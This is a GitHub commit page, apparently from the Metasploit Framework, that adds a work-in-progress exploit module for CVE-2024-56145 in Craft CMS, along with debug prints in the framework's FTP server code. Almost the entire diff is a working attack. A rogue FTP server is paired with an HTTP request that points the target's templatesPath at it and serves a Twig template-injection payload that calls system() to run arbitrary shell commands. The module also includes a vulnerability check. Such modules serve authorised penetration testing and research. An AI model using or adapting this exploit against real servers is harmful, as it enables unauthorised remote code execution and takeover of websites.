Skip to content

Commit

Permalink
WIP CraftCMS FTP Template exploit
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Dec 29, 2024
1 parent 227143e commit 9450765
Show file tree
Hide file tree
Showing 2 changed files with 236 additions and 0 deletions.
6 changes: 6 additions & 0 deletions lib/msf/core/exploit/remote/ftp_server.rb
Original file line number Diff line number Diff line change
Expand Up @@ -74,13 +74,19 @@ def on_client_data(c)
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""

# For testing purposes only
print_status("<- #{cmd} #{arg}")

return if not cmd

# Allow per-command overrides
if self.respond_to?("on_client_command_#{cmd.downcase}", true)
return self.send("on_client_command_#{cmd.downcase}", c, arg)
end

# Also for testing purposes only
print_status("Received a command we don't have an override for: #{cmd}")

case cmd.upcase
when 'USER'
@state[c][:user] = arg
Expand Down
230 changes: 230 additions & 0 deletions modules/exploits/linux/http/craftcms_ftp_template.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,230 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::FtpServer
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Craft CMS Remote Code Execution (CVE-2024-56145)',
'Description' => %q{
This module exploits a Remote Code Execution vulnerability in Craft CMS.
The vulnerability can be triggered by directing the application to connect to an attacker controlled
FTP Server, leading to the execution of arbitrary commands on the target.
},
'Author' => [
'jheysel-r7', # msf Module
'Assetnote' # Original discovery, use their advisory for CVE-2024-56145
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2024-56145' ],
[ 'URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms' ]
],
'Payload' => {
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d"
},
'Arch' => ARCH_CMD,
'Platform' => %w[unix linux],
'Targets' => [
[ 'Craft CMS Universal', {} ]
],
'Privileged' => false,
'DisclosureDate' => '2024-04-01',
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
end

def get_payload
"{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}"
end

def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil,
:cwd => '/'
#:cwd => '/home/msfuser/git/metasploit-framework/data/exploits/CVE-2024-56145/'
}

active_data_port_for_client(c, 2120)

print_status("")
print_status("-> 220 FTP Server Ready")
c.put "220 FTP Server Ready\r\n"
end

def on_client_command_user(c, arg)
vprint_status("on_client_command_user")
if arg.downcase == 'anonymous'
@state[c][:user] = 'anonymous'
print_status("-> 331 Username ok, send password.")
c.put "331 Username ok, send password.\r\n"
else
print_error("-> 530 Not logged in.\r\n")
c.put "530 Not logged in.\r\n"
end
end

def on_client_command_pass(c, arg)
vprint_status("on_client_command_pass")
if @state[c][:user] == 'anonymous'
@state[c][:pass] = arg
print_status("-> 230 Login successful.")
c.put "230 Login successful.\r\n"
else
print_error("-> 530 Not logged in.")
c.put "530 Not logged in.\r\n"
end
end

def on_client_command_cwd(c, arg)
vprint_status("on_client_command_cwd")
if arg == '/default'
@state[c][:cwd] = '/default'
print_status("-> 250 \"#{@state[c][:cwd]}\" is current directory.")
c.put "250 \"#{@state[c][:cwd]}\" is current directory.\r\n"
else
print_error("-> 550 Not a directory")
c.put "550 Not a directory.\r\n"
end
end

def on_client_command_type(c, arg)
vprint_status("on_client_command_type")
if arg == 'I'
print_status("-> 200 Type set to: Binary.")
c.put "200 Type set to: Binary.\r\n"
else
print_error("-> 500 Unknown type.")
c.put "500 Unknown type.\r\n"
end
end

def on_client_command_size(c, arg)
vprint_status("on_client_command_size")
if arg == '/default/index.twig'
#size = get_payload.length
print_status("-> 213 99")
c.put "213 99\r\n"
else
print_error("-> 550 #{arg} is not retrievable.")
c.put "550 #{arg} is not retrievable.\r\n"
end
end

def on_client_command_mdtm(c, arg)
vprint_status("on_client_command_mdtm")
if arg == '/default/index.twig'
time = Time.now.strftime("%Y%m%d%H%M%S")
#time = "20241228215211"
print_status("-> 213 #{time}")
c.put "213 #{time}\r\n"
else
print_error("-> 550 #{arg} is not retrievable.")
c.put "550 #{arg} is not retrievable.\r\n"
end
end

def on_client_command_epsv(c, _arg)
vprint_status("on_client_command_epsv")
dport = rand(1024..65535)
print_status("229 Entering extended passive mode (|||#{dport}|)")
c.put "229 Entering extended passive mode (|||#{dport}|)\r\n"
end

def on_client_command_retr(c, _arg)
print_status("on_client_command_retr")
conn = establish_data_connection(c)
unless conn
print_error("425 can't build data connection")
return c.put("425 can't build data connection\r\n")
end

print_status("150 Connection accepted")
c.put("150 Connection accepted\r\n")

conn.put(payload.encoded)
conn.close
end

def on_client_command_quit(c, _arg)
c.put "221 Goodbye.\r\n"
end

def on_client_command_unknown(c, cmd, arg)
vprint_status("#{@state[c][:name]} UNKNOWN '#{cmd} #{arg}'")
c.put "500 '#{cmd} #{arg}': command not understood.\r\n"
end

def on_client_unknown_command(connection, _cmd, _arg)
connection.put("200 OK\r\n")
end

def check
nonce = Rex::Text.rand_text_alphanumeric(8)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => { '--configPath' => "/#{nonce}" }
})

if res && res.body.include?('mkdir()') && res.body.include?(nonce)
return CheckCode::Vulnerable
end

CheckCode::Safe
end

def exploit
if datastore['SSL'] == true
reset_ssl = true
datastore['SSL'] = false
end
setup
start_service
if reset_ssl
datastore['SSL'] = true
end
trigger_http_request
end

def trigger_http_request
templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
begin
# Send raw request because send_request_cgi encodes special characters in the templates_path vars_get parameter and breaks it
res = send_request_raw({
'uri' => normalize_uri(target_uri.path) + '?--templatesPath=' + templates_path,
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15'
}
})

if res && res.code == 200
print_good('Payload triggered successfully. Check your listener for a session.')
else
print_error("Failed to trigger payload. HTTP Status: #{res.code}")
end
rescue StandardError => e
print_error("Error sending HTTP request: #{e.message}")
end
end
end

0 comments on commit 9450765

Please sign in to comment.